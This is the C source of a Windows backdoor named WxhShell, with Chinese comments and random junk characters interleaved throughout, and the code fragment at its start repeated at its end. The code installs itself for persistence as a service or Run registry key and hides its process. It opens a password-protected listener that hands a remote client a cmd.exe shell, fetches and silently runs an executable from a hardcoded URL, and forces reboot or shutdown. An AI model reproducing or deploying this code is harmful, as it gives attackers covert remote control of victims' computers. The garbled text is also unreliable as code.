x@N "Go)t+- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lp%i%*EQ* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]#Q'~X W NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FAP1Bm hV>@qOl
' if (!NtQueryInformationProcess) return 0; et0yS%7+?@ z]F4Z'(e. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 32ae? d if(!hProcess) return 0; m=p<.%a {;j@-=pV if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _=68iDXm L}5IX)#gH CloseHandle(hProcess); ht@s!5\LK 'c|Y*2@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H-Z1i if(hProcess==NULL) return 0; HnmByn\j <u85>x HMODULE hMod; kFF)6z:2 char procName[255]; W_z?t; unsigned long cbNeeded; ^7&0Pm yyVv@ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %Lwd1'C% JdW:%,sv CloseHandle(hProcess); 60St99@O Ro oem dCM if(strstr(procName,"services")) return 1; // 以服务启动 kVu-,OU B)`^/^7 return 0; // 注册表启动 &.t|&8- } ;Z(~;D hSyA;*)U // 主模块 U?:<clh int StartWxhshell(LPSTR lpCmdLine) IfGQeynj { .+TriPL SOCKET wsl; 9QryW\6.@z BOOL val=TRUE; 'L0{Ed+9 int port=0; Z/@%MEU[zl struct sockaddr_in door; `nDgwp:b" 1*Ui=M4 if(wscfg.ws_autoins) Install(); $k&}{c8P l
TJqWSV=f port=atoi(lpCmdLine); %<Q?|} Bz#K_S if(port<=0) port=wscfg.ws_port; 63?fn~0\ MJ:>ZRXCE WSADATA data; :,^pL At if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q$=EUB"C ]
x_WO_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Aa;s.:? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d.3O1TXK door.sin_family = AF_INET; 6hs2B5)+ door.sin_addr.s_addr = inet_addr("127.0.0.1"); j!H\hj/] door.sin_port = htons(port); `y!6(xI _,2P4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nl^{w'X0h closesocket(wsl); &G>EBKn\2` return 1; @#%rTKD9F } Q`]El<$ "jUr[X2J if(listen(wsl,2) == INVALID_SOCKET) { K$..#]\TM closesocket(wsl); B R-(@ return 1; )2P4EEs[ } 6QOdd6_d Wxhshell(wsl); y'<juaw WSACleanup(); 3=r8kh7, n_n0Q}du return 0; hC.7Z] <E|K<}W# } bTn7$EG L:y}
L // 以NT服务方式启动 syYg, G[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hop$w { <4W"ne28 DWORD status = 0; ~OXC6z DWORD specificError = 0xfffffff; .FnO 1;l&ck-Gg/ serviceStatus.dwServiceType = SERVICE_WIN32; %8T:r S serviceStatus.dwCurrentState = SERVICE_START_PENDING; {daNw>TH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h
!~u9 serviceStatus.dwWin32ExitCode = 0; O]n"aAu@ serviceStatus.dwServiceSpecificExitCode = 0; e_wz8]K)n serviceStatus.dwCheckPoint = 0; }V3p < serviceStatus.dwWaitHint = 0; Qj? G KO IA|V^Wmt; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )CzWq}: if (hServiceStatusHandle==0) return; In0kP" *a@pZI0' status = GetLastError(); .Jz$)R if (status!=NO_ERROR) rSD!u0c[ { |Mp_qg?g serviceStatus.dwCurrentState = SERVICE_STOPPED; j:0VtJo~ serviceStatus.dwCheckPoint = 0; 9Osjh G serviceStatus.dwWaitHint = 0; WG;1[o& serviceStatus.dwWin32ExitCode = status; ?'K}bmdt}. serviceStatus.dwServiceSpecificExitCode = specificError; 0C}7=_? SetServiceStatus(hServiceStatusHandle, &serviceStatus); MO:##C return; ;C%D+"l1g } ZbYwuyHk(3 @\_tS H serviceStatus.dwCurrentState = SERVICE_RUNNING; <v"C`cga serviceStatus.dwCheckPoint = 0; Wx&AY"J
serviceStatus.dwWaitHint = 0; p1HU2APFP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !UD62yw~ } 8 F'i5i Hi{c[; // 处理NT服务事件,比如:启动、停止 "RH2% VOID WINAPI NTServiceHandler(DWORD fdwControl) _VR Sdr5 { Xu$xO( switch(fdwControl) -pj&|<
h+9 { 2F3IC case SERVICE_CONTROL_STOP: Mz<4P3"H serviceStatus.dwWin32ExitCode = 0; J[UL
f7: serviceStatus.dwCurrentState = SERVICE_STOPPED; 0gVylQ serviceStatus.dwCheckPoint = 0; "JSg/optc serviceStatus.dwWaitHint = 0; w?.0r6j { 8^zI SetServiceStatus(hServiceStatusHandle, &serviceStatus); +|Q8P?YD_ } /40Z-'Bl=( return; uG3t%CmN case SERVICE_CONTROL_PAUSE: A0M)*9 f serviceStatus.dwCurrentState = SERVICE_PAUSED; xkOyj`IS
break;
Nora< case SERVICE_CONTROL_CONTINUE: /MSz{ %v serviceStatus.dwCurrentState = SERVICE_RUNNING; {t[j>_MYw break; ?N#mD case SERVICE_CONTROL_INTERROGATE: !a3cEzs3 break; ]}F_nc2L }; Tn/
3`j
{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); K3?7Hndf2 } ReP7c3D>p Qg?^%O' // 标准应用程序主函数 E'$r#k:o int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )KR9al f3 { !5 %c`4 _p7c<$; // 获取操作系统版本 p[&'*"o!/ OsIsNt=GetOsVer(); PP&AF?C GetModuleFileName(NULL,ExeFile,MAX_PATH); GFx>xQk v 4(!~S // 从命令行安装 ~LHG if(strpbrk(lpCmdLine,"iI")) Install(); Qm,|'y:Tg Rs8`M8(4% // 下载执行文件 D(}v`q{Y if(wscfg.ws_downexe) { vN7a)s if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aD3'gc,l WinExec(wscfg.ws_filenam,SW_HIDE); S8<O$^L^ } "sf8~P9qy %|o4 U0c if(!OsIsNt) { *gu~7&yoP // 如果时win9x,隐藏进程并且设置为注册表启动 L]kSj$A HideProc(); i+jSXn"_ StartWxhshell(lpCmdLine);
F[115/ } ;hmy7M1% else fT/;TK>z> if(StartFromService()) 2M=
gpy // 以服务方式启动 ,/|"0$p2x StartServiceCtrlDispatcher(DispatchTable); Q9X_aB0 else GKtG#jZ& // 普通方式启动 $~50M5&K# StartWxhshell(lpCmdLine); Oh~JyrZy bKmR
&
return 0; v%=G~kF}[ } .!,T>:R e0+N1kY (<(8(}x 2>.B*P =========================================== r.[!n)* vl2!2X hFZ7{pj UbJ_'>hK 6 }!(cm;XA" 0~R0)Q, " >Rjk d>K3 O@'/B" & #include <stdio.h> CG@ LYN #include <string.h> F%lP<4Vx #include <windows.h> X|7gj&1 #include <winsock2.h> ]U! ?{~ #include <winsvc.h> Bh"o{-$p8` #include <urlmon.h> ,F.\ z^\{ $=TFTSO #pragma comment (lib, "Ws2_32.lib") 3rTYe6q$U #pragma comment (lib, "urlmon.lib") -2w\8]u 4rc4}Yu,JI #define MAX_USER 100 // 最大客户端连接数 STL_#|[RM #define BUF_SOCK 200 // sock buffer 8{@|M l #define KEY_BUFF 255 // 输入 buffer @ bPQhn#(g K]oFV #define REBOOT 0 // 重启 n4Ry)O[. #define SHUTDOWN 1 // 关机 X&TTw/J!^ UOZ"#cQ #define DEF_PORT 5000 // 监听端口 g,7`emOX C\j|+s #define REG_LEN 16 // 注册表键长度 c#
U!Q7J #define SVC_LEN 80 // NT服务名长度 ^|Of |(*ReQ?= // 从dll定义API cMsm[D{b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hoD (G X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZTVX5"#Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Im+<oZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TPt<(-}W /^G1wz2 // wxhshell配置信息 6OF&Q`*4 struct WSCFG { ib0M$Y1tIS int ws_port; // 监听端口 -{>JF char ws_passstr[REG_LEN]; // 口令 u=5&e)v3 int ws_autoins; // 安装标记, 1=yes 0=no ^0R.'XL char ws_regname[REG_LEN]; // 注册表键名 PP.QfY4 char ws_svcname[REG_LEN]; // 服务名 D4ESo)15' char ws_svcdisp[SVC_LEN]; // 服务显示名 p}.L]Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 ow!utAF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xJa int ws_downexe; // 下载执行标记, 1=yes 0=no 0g,;Yzm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (g`G(K_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0hnN>? !=3[Bm G }; /9,!)/j t Q385en // default Wxhshell configuration UIi;&[ struct WSCFG wscfg={DEF_PORT, Q35$GFj"jD "xuhuanlingzhe", Waj6.PCFm 1, X&8&NkH "Wxhshell", oa? bOm "Wxhshell", <xKer<D
% "WxhShell Service", ) kfA5xi[ "Wrsky Windows CmdShell Service", WId"2W3M "Please Input Your Password: ", NBwxN 1, SS[jk "http://www.wrsky.com/wxhshell.exe", zp:kdN7!^ "Wxhshell.exe" ARGtWW~: }; C}<j8a? P
hs4]! // 消息定义模块 &q^\*<B.^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @#hd8_)A. char *msg_ws_prompt="\n\r? for help\n\r#>"; 7IB<0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'c*Q/C; char *msg_ws_ext="\n\rExit."; +3dWnBg? char *msg_ws_end="\n\rQuit."; qT$;ZV
# char *msg_ws_boot="\n\rReboot..."; Aw~
=U! char *msg_ws_poff="\n\rShutdown..."; rU=qr&f"B char *msg_ws_down="\n\rSave to "; brx
7hI zc01\M char *msg_ws_err="\n\rErr!"; J]yUjnQ[h char *msg_ws_ok="\n\rOK!"; -~\R.<+ `w` f[dU- char ExeFile[MAX_PATH]; C#d.3t int nUser = 0; [APwHIS HANDLE handles[MAX_USER]; HQJ_:x
Y int OsIsNt; h+<vWo}H m-Q!V+XQp SERVICE_STATUS serviceStatus; i t.Lh'N;T SERVICE_STATUS_HANDLE hServiceStatusHandle; UmUw>+A SR)G!9z_/ // 函数声明 >?aPXC int Install(void); {AUhF}O int Uninstall(void); mSF>~D1_ int DownloadFile(char *sURL, SOCKET wsh); Sio^FOTD int Boot(int flag); Q>Voa&tYn void HideProc(void); .<%2ON_ int GetOsVer(void); ^aYlu0Wm int Wxhshell(SOCKET wsl); kH/u]+_ void TalkWithClient(void *cs); W/DSj : int CmdShell(SOCKET sock); y.P Wh<dI int StartFromService(void); }K':tX? int StartWxhshell(LPSTR lpCmdLine); Q#w mS&$f &YC Z
L VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h_#x@p VOID WINAPI NTServiceHandler( DWORD fdwControl ); }%Mj`Bh W^#HR // 数据结构和表定义 {9:[nqX SERVICE_TABLE_ENTRY DispatchTable[] = B3|h$aKC { O{b<UP'85 {wscfg.ws_svcname, NTServiceMain}, sA$x2[*O {NULL, NULL} 6a6;]lsG }; sdN@ZP cCx@VT`0 // 自我安装 +yYxHIOZ( int Install(void) OH.^m6Z { 9Rl-Jz8g char svExeFile[MAX_PATH]; B=14
hY@` HKEY key; T'_#Dwmj* strcpy(svExeFile,ExeFile); =h5&:?X g~EN3~ // 如果是win9x系统,修改注册表设为自启动 7X
4/6]* if(!OsIsNt) { s8BfOl- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &CBW>*B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >f+qImH RegCloseKey(key); NZT2ni4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WV5z~[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #J=^CE RegCloseKey(key); v~E\u return 0; )S?. YCv? } dpAj9CX( } Qp>'V<%m- } 1i=lJmr else { )(b,v/: s/Ne,v // 如果是NT以上系统,安装为系统服务 >-8r|};+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XBx&& if (schSCManager!=0) -c%#Hd { ,~8&0p SC_HANDLE schService = CreateService P:D@5 ( qZQB"Q.* schSCManager, *^[m?3"W wscfg.ws_svcname, @yV.Yx"p_ wscfg.ws_svcdisp, gn82_ SERVICE_ALL_ACCESS, )R
%>g-dw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 10tlD<eYb SERVICE_AUTO_START, 7x>\/l( SERVICE_ERROR_NORMAL, ZkWX4?&OMt svExeFile, WAq)1gwN NULL, !s^[|2D_U NULL, &<nj~BL NULL, -Cn x!g} NULL, OVq(ulwi+ NULL 2/o_,k ); ^*?mb) if (schService!=0) QC\r|RXW { #su R[K*S CloseServiceHandle(schService); .+3~
w CloseServiceHandle(schSCManager); =Jyi9VN=& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .)(5F45Wg strcat(svExeFile,wscfg.ws_svcname); <n4?wo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RnV#[bM{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |)KOy~" RegCloseKey(key); `@<>"ff#F return 0; ~K$dQb]) } 3M^s
EaUI } D9yAq'k$ CloseServiceHandle(schSCManager); P~}Yj@2 } ZuLW%z. } ol3].0Vc] =w !>/#U return 1; !)r1zSY"g } pNFVa<D DhVO}g)2# // 自我卸载 F ?N+ __o int Uninstall(void) _a]0<Vm C0 { evSr?ys HKEY key; } "QL"% ,vDSY N6 if(!OsIsNt) { /Fj*sS8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O'rz RegDeleteValue(key,wscfg.ws_regname); ,gO(zI-1 RegCloseKey(key); O[Yc-4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F_I.=zQr RegDeleteValue(key,wscfg.ws_regname); jjT)3
c:J[ RegCloseKey(key); V$Zl]f$S return 0; Kcu*Z } F+<e9[ } PenkqDc} } m!-R}PQC else { ]]Fe:> QnJd}(yN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #fVk;]u`[3 if (schSCManager!=0) Hb&C;lk { *-eDUT|O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $V870
< if (schService!=0) Mni@@W { T`$!/BlZ if(DeleteService(schService)!=0) { mXwDB)O{) CloseServiceHandle(schService); r=gF&Og,? CloseServiceHandle(schSCManager); zI7iZ"2a return 0; Um~DA } BMdcW
MYU\ CloseServiceHandle(schService); pqF!1 } P=<>H9p:o CloseServiceHandle(schSCManager); c BcZ@e; } @
JfQ}` } 'O^<i`8U] *";O_ :C! return 1; k0bDEz.X } Ud:;kI%Vj ThiM6Hb // 从指定url下载文件 U[O7}Nsb" int DownloadFile(char *sURL, SOCKET wsh) 'T+v&M { f0@4>\g HRESULT hr; {i"th(J$
char seps[]= "/"; Oil~QAd, char *token; oiRrpS\T. char *file; ^Lc, w char myURL[MAX_PATH]; $!goM~pZ char myFILE[MAX_PATH]; ,a34=, "1wjh=@z strcpy(myURL,sURL); <4:%M token=strtok(myURL,seps); q[TGEgG while(token!=NULL) D KRF#*[=d { (zml704dI) file=token; yPoa04!{= token=strtok(NULL,seps); e_+SBN1`P& } 4N(iow4 Dqg01_O9O GetCurrentDirectory(MAX_PATH,myFILE); OrY^ ?E strcat(myFILE, "\\"); VQ7A"&hh strcat(myFILE, file); rI#,FZ send(wsh,myFILE,strlen(myFILE),0); cU_:l.b send(wsh,"...",3,0); duV\Kt/g^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /0YO`])" if(hr==S_OK) :h8-y&; return 0; Gp0yRT. else G-[.BWQ return 1; Ex+E66bE EkpM'j= } ` InBhU> p~yGp]yJ9 // 系统电源模块 >@0U B@ int Boot(int flag) 9jI5bi) { b^q%p1 HANDLE hToken; `^df la TOKEN_PRIVILEGES tkp; E_H.!pr
3of0f{ZTj if(OsIsNt) { , Y^GQ`~# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MZvxcr{x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rm[{^V.Z$ tkp.PrivilegeCount = 1; VXO.S)v2J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'M35L30 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f{j`d&| if(flag==REBOOT) { PouWRGS_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2gJkpf9JN return 0; (mgv:<c;BA } Y'O3RA5E else { B8 r#o=q1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WelB"L return 0; ]--"
K{ } TFO4jjiC" } !i8'gq'q else { &?*H`5#?G if(flag==REBOOT) { i#I7ncX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hQ}y(2A.XI return 0; TG6E^3a P } ^wD@)Dz else { RG6U~o1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,.i)(Or return 0; ;Dp<|n } ] p*Fq^ } 8Z>=sUMQ "b[w%KYyl return 1; F.iJz4ya_ } @DuSii#.S 4Un%p7Y~ // win9x进程隐藏模块 ;3&HZq6Z ( void HideProc(void) Gj&`+!\ { +:&|]$8< 'wjL7PI HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r:5u(2 if ( hKernel != NULL ) $H"(]>~ { Xcb'qU!2-^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {YIf rM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2h#_n'DV FreeLibrary(hKernel); 5GwzG<.\^_ } bE1@RL ^]TYS]C return; LvW7>- } I(va;hG<o }{F1Cr // 获取操作系统版本 g]9A?#GyE int GetOsVer(void) /3o@I5 { O0QK `F/)* OSVERSIONINFO winfo; 4||dc}I"E winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j7qGZ"8ak GetVersionEx(&winfo); Qq<+QL | if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eb89B%L62G return 1; HME`7 dw? else z+]YB5zK% return 0; ok/{ w } #T08H,W/ QBLha']'% // 客户端句柄模块 O"emse}Z int Wxhshell(SOCKET wsl) c=<5DC&p { |g!3f SOCKET wsh; ,IRy.
qy struct sockaddr_in client; )26_7.| DWORD myID; HG&rE3@ ]L_h3Xz\X while(nUser<MAX_USER) oT*qMLdn { c4iGtW int nSize=sizeof(client); c52S2f7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :tT6V(-W if(wsh==INVALID_SOCKET) return 1; 3>%:%bP a[7Lqu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lO=~&_ if(handles[nUser]==0) h`pXUnEZ closesocket(wsh); iJ p E` else L~HL*~#d
nUser++; q]wP^;\Jl } GI)eq:K_U8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S\ ) ~9? ?U(`x6\: return 0; ?btZdnQ))S } A;gU@8m e2"gzZ4;g
// 关闭 socket aUbmEHFTV void CloseIt(SOCKET wsh) ,_I#+XiXY { 1Ts$kdO closesocket(wsh); 2Z7r ZjXW nUser--; T*qSk! ExitThread(0); BL H~`N3U } wD5fm5r= |WsB0R // 客户端请求句柄 tQIa6c4| void TalkWithClient(void *cs) h.)o4(bO { 18o5Gs;yx 'L8B"5|> SOCKET wsh=(SOCKET)cs; /7uAf{ char pwd[SVC_LEN]; qORRpWyx& char cmd[KEY_BUFF]; X*e<g= char chr[1]; {vU;(eN int i,j; 0 ![ 0%"sOth while (nUser < MAX_USER) { Q3 yW#eD #L9F\ <K if(wscfg.ws_passstr) { ,g:\8*Y>' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8"C[sRhz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pr{tL //ZeroMemory(pwd,KEY_BUFF); y\zRv(T= i=0; wMU}EoGS? while(i<SVC_LEN) { =k:yBswi lFbf9s:$B // 设置超时 Jq_AR!} % fd_set FdRead; FwqaWEk struct timeval TimeOut; <L+y
6B FD_ZERO(&FdRead); IRIYj(J FD_SET(wsh,&FdRead); EJ=ud9 TimeOut.tv_sec=8; ><H*T{
Pg TimeOut.tv_usec=0; L<0eIw int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s|IC;C| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ms14]M[\ Z^O_7I<5E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'yNS(Bg= pwd=chr[0]; rLp (}^ if(chr[0]==0xd || chr[0]==0xa) { F-PQ`@ZNW pwd=0; -;j
'=? break; 69$gPY'3 } y8$I= i++; Sq[LwJ } 9_xJT^10 h Nx#x // 如果是非法用户,关闭 socket wAF<_NG# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WnL7 A:sZ } uO5y{O2W ;-6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f8S! FGiNc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`)e}p& $HP<C>^Z8 while(1) { VRD:PVz ]La~Bh6;m ZeroMemory(cmd,KEY_BUFF); '|@?R |i0 fzjAP7 y // 自动支持客户端 telnet标准 ;3Z6K5z*f j=0; P~M<OUg while(j<KEY_BUFF) { "g:1br?X,9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !U4<4<+ cmd[j]=chr[0]; LGq
T$ O| if(chr[0]==0xa || chr[0]==0xd) { PDkg@#&y,k cmd[j]=0; >*Ctp +X@ break; [(*? } Pd04 j++; jKr>Ig=$tA } Eal*){"<,? cjwc:3
CM // 下载文件 ,racmxnv if(strstr(cmd,"http://")) { kV:T2}]|H send(wsh,msg_ws_down,strlen(msg_ws_down),0); RiiwsnjC if(DownloadFile(cmd,wsh)) P@FE3g send(wsh,msg_ws_err,strlen(msg_ws_err),0); !yD$fY else tA{hx- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vJ{aBx`VS } r mJ`^6V else { NM+(ss' >>%E?'9A switch(cmd[0]) { c0QKx= `Jn2(+ // 帮助 y&6 pc case '?': { (D2N_l(`< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2x!cblo break; s2"<<P[q' } HpIWH* // 安装 =fK6P6'B case 'i': { s y>}2orj~ if(Install()) `Ha<t. v( send(wsh,msg_ws_err,strlen(msg_ws_err),0); c]68$;Z7 else <lTLz$QE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Q@~TW break; 11?d,6Jl } #oJ%i+V // 卸载 =[LUOOR*] case 'r': { 8 `}I] if(Uninstall()) eS/Au[wS send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZKt`>KZ else !OV+=Rwdx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `X%Qt~ break; @t2S"s$m } S|r,RBeZ
// 显示 wxhshell 所在路径 =w ! 6un case 'p': { ou=33}uO char svExeFile[MAX_PATH]; t6Nkv;)>@ strcpy(svExeFile,"\n\r"); (?1/\r strcat(svExeFile,ExeFile); i-,_:z=J send(wsh,svExeFile,strlen(svExeFile),0); yb) a break; [r^WS;9n } ]JHInt // 重启 }p `A> case 'b': { cC]lO send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q!{,^Qb if(Boot(REBOOT)) ?*&5`Xh send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+<{!+3v else { sp6A*mwl closesocket(wsh); EbnV"]1 ExitThread(0); _2X6c, } E| y
break; h-6x! 6pm } Y'yGhpT~ // 关机 ;%Kh~ case 'd': { ;]>a7o send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7M<co," if(Boot(SHUTDOWN)) Bdm05}c@u send(wsh,msg_ws_err,strlen(msg_ws_err),0); ak\[+wQ else { rPK 1# closesocket(wsh); <xUX&J=; ExitThread(0); NIG*
}[}P } 4o<'
fY break; 2%vG7o,# } APyH.] mQ // 获取shell EN5F*s@r case 's': { Y%^qt]u.8 CmdShell(wsh); \m#{{SGm closesocket(wsh); 28>/#I9/] ExitThread(0); cH6J:0>W break; !:Ob3Mq\ } *iJ>@vew // 退出 7A^L$TY case 'x': { w d6+,B send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4e?MthJ> CloseIt(wsh); 7*>,BhF# break; K{0 gkORF } f@0Km^a Uc // 离开 _8e0vi!~2 case 'q': { GYtp%<<9; send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]QJ7q} closesocket(wsh); 84/#,X!=s WSACleanup(); l:*.0Tj exit(1); }(!3)k7* break; h059 DiH } >dnDN3x } \lF-]vz* } Bw>)gSB5$k ?8YbTn1f) // 提示信息 ijmGk:L( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _|7bpt9 } wZt2%+$6m } \hP.Q;"MtO 2FQTu*p&B return; {T 3~js } 7GRPPh<4 a}[rk*QmZ // shell模块句柄 /%TL{k&m$ int CmdShell(SOCKET sock) ?~ <NyJHN% { ]{18-= STARTUPINFO si; 6t3Zi:=I ZeroMemory(&si,sizeof(si)); uP.dCs9- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bycnh si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zou;o9Ww PROCESS_INFORMATION ProcessInfo; a~Yq0 d?`D char cmdline[]="cmd"; %v[KLMo'( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D&1(qi=x& return 0; ]xPy-j6C } ^GNL:D%6d Ks-$([_F // 自身启动模式 zGa
V^X int StartFromService(void) ,,;vG6^a { {Gw{W&< typedef struct t(UdV { 04:QEC"9mj DWORD ExitStatus; 3-BC4y/ DWORD PebBaseAddress; =d/$B!t{ DWORD AffinityMask; P?Kg7m W DWORD BasePriority; T}Wse{ ULONG UniqueProcessId; $Y8iT<nP ULONG InheritedFromUniqueProcessId; p5J!j I= } PROCESS_BASIC_INFORMATION; 95Q^7oI ,3Nna:~f PROCNTQSIP NtQueryInformationProcess; ]3uj~la $`<-;kI static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [<X ~m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s?PB ]Tr >XW-W HANDLE hProcess; D[`~=y( PROCESS_BASIC_INFORMATION pbi; -fOBM 4 @ X5#? HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~'N+O K if(NULL == hInst ) return 0; zZP&`#TAy .>p.k*vU g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R#!Urhh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7,Y+FZ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7V&ly{</ p ^Y2A if (!NtQueryInformationProcess) return 0; b1yS1i
D bd[iD?epD] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x[mh^V5ld if(!hProcess) return 0; -m$2"_ .dj}y
